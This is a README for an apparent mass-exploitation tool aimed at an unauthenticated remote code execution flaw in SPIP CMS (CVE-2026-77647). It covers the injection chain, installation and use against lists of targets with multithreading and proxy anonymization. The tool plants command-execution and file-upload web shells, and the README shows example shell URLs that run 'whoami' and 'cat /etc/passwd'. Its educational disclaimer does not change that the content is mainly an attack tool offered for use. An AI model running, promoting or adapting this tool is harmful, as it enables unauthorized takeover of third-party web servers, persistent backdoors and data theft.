CVE-2026-77647

SPIP before 4.4.20 allows unauthenticated remote attackers to execute arbitrary code

🔴 CVE-2026-77647 — SPIP Unauthenticated Remote Code Execution

Pre-Authentication Remote Code Execution in SPIP CMS — All Versions Before 4.4.20

---

📋 Overview

CVE-2026-77647 is a critical unauthenticated remote code execution (RCE) vulnerability affecting all versions of SPIP CMS prior to 4.4.20.

The flaw allows a remote attacker — without any authentication or user interaction — to execute arbitrary PHP code on the target server. It was actively exploited in the wild starting in August 2026, prompting an emergency patch by the SPIP team.

This tool automates the detection and exploitation of this vulnerability across multiple targets with configurable concurrency.

---

🛡️ Vulnerability Details

Field	Details
CVE ID	CVE-2026-77647
Affected Software	SPIP CMS
Affected Versions	All versions before 4.4.20
Type	Unauthenticated Remote Code Execution (RCE)
CWE	CWE-94 — Improper Control of Generation of Code (Code Injection)
CVSS 3.1 Score	9.8 / 10 — CRITICAL
CVSS Vector	CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
Authentication	None required (Pre-Auth)
Exploitation	Actively exploited in the wild (August 2026)
Patch	SPIP 4.4.20 (Advisory)

---

⚙️ CVSS 3.1 Breakdown

Metric	Value	Meaning
Attack Vector	Network	Exploitable remotely over the internet
Attack Complexity	Low	No special conditions required
Privileges Required	None	No authentication needed
User Interaction	None	No victim action required
Scope	Unchanged	Impact limited to the vulnerable system
Confidentiality	High	Full read access to all data
Integrity	High	Full write / modify access
Availability	High	Complete denial of service possible

---

🔬 Technical Analysis

Root Cause

The vulnerability stems from two interacting issues in the SPIP template engine:

1. Incorrect <?php block identification — SPIP's template engine fails to properly sanitize PHP opening tags within user-controlled input, specifically in the search (recherche) parameter.

2. var_export mishandling — PHP's var_export() function mishandles certain edge cases, particularly when the input contains the < character, allowing the injection of executable PHP code.

Exploitation Chain

User Input (recherche) → var_export → X-Spip-Filtre: html_entity_decode → PHP eval

The attacker sends a crafted payload through the SPIP search functionality (?page=recherche&recherche=PAYLOAD). The payload abuses the X-Spip-Filtre HTTP header mechanism to trigger html_entity_decode, which decodes the injected PHP code. The decoded code is then evaluated by SPIP's template rendering engine, achieving arbitrary code execution.

Attack Flow

┌──────────────────────┐
│   Attacker Machine   │
└──────────┬───────────┘
           │
           │  GET /spip.php?page=recherche&recherche=<PAYLOAD>
           ▼
┌──────────────────────┐
│   SPIP Application   │
│                      │
│  1. Receives search  │
│  2. var_export()     │──── Mishandles '<' character
│  3. X-Spip-Filtre   │──── html_entity_decode
│  4. Template eval    │──── Executes injected PHP
│                      │
└──────────┬───────────┘
           │
           │  file_put_contents() → PHP Web Shell
           ▼
┌──────────────────────┐
│   Web Shell Active   │
│   Full RCE Achieved  │
└──────────────────────┘

---

🚀 Usage

Requirements

• Python 3.7+
• requests library

Installation

git clone https://github.com/Nxploited/CVE-2026-77647.git
cd CVE-2026-77647
pip install requests

Prepare Targets

Create a file named list.txt (or any custom name) with one target per line:

https://target1.com
https://target2.com
http://192.168.1.100
target3.com

Note: Targets without a scheme (http:// or https://) will default to http://.

Run

python CVE-2026-77647.py

Interactive Configuration

The tool will prompt you for:

[?] Target list (default: list.txt): list.txt
[?] Speed (1-4, default: 2):

Speed	Threads	Timeout	Profile
1 — Slow	5	25s	🔇 Stealth
2 — Normal	10	15s	⚖️ Balanced
3 — Fast	25	12s	⚡ Aggressive
4 — Ultra	50	10s	🔥 Maximum

[?] Proxy (blank = none): socks5://127.0.0.1:9050

Supports HTTP/HTTPS/SOCKS proxies for anonymization.

Output

Successful results are saved to shells.txt:

https://target.com/img_cache.php?k=nXk&c=id
https://target.com/Nx_.php?k=nXk

Shell Access

Command Execution:

https://target.com/img_cache.php?k=nXk&c=whoami
https://target.com/img_cache.php?k=nXk&c=cat /etc/passwd

File Upload Interface:

https://target.com/Nx_.php?k=nXk

---

🎯 Features

• 🔍 Automatic SPIP version detection via Composed-By header and page fingerprinting
• 🛡️ Patched version skip — automatically skips SPIP ≥ 4.4.20
• 📝 Dual shell deployment — command execution shell + file upload shell
• 📂 Multi-path write — attempts root, IMG/, tmp/, and local/ directories
• ⚡ Multi-threaded scanning — configurable 5 to 50 concurrent threads
• 🌐 Proxy support — HTTP, HTTPS, and SOCKS proxy routing
• 📊 Real-time status — live progress with color-coded terminal output
• 💾 Auto-save results — all confirmed shells saved to output file

---

📚 References

• CVE-2026-77647 — CVE.org
• CVE-2026-77647 — NVD (NIST)
• SPIP Security Advisory — SPIP Blog
• CERTFR-2026-AVI-1033 — CERT-FR (ANSSI)
• Debian Security Tracker — CVE-2026-77647
• Rapid7 Vulnerability Database

---

⚠️ Disclaimer

This tool is provided strictly for educational purposes and authorized security research only.

Usage of this tool against systems without explicit written permission from the system owner is illegal and may violate local, national, and international laws including but not limited to the Computer Fraud and Abuse Act (CFAA), UK Computer Misuse Act, and equivalent legislation in other jurisdictions.

The author assumes no liability and is not responsible for any misuse, damage, or illegal activity caused by this tool. By using this tool, you agree that:

• You have obtained proper authorization before testing any target
• You accept full responsibility for your actions
• You will comply with all applicable laws and regulations
• You understand that unauthorized access to computer systems is a criminal offense

Use responsibly. Hack ethically.

---

By: Khaled Alenazi
@Nxploited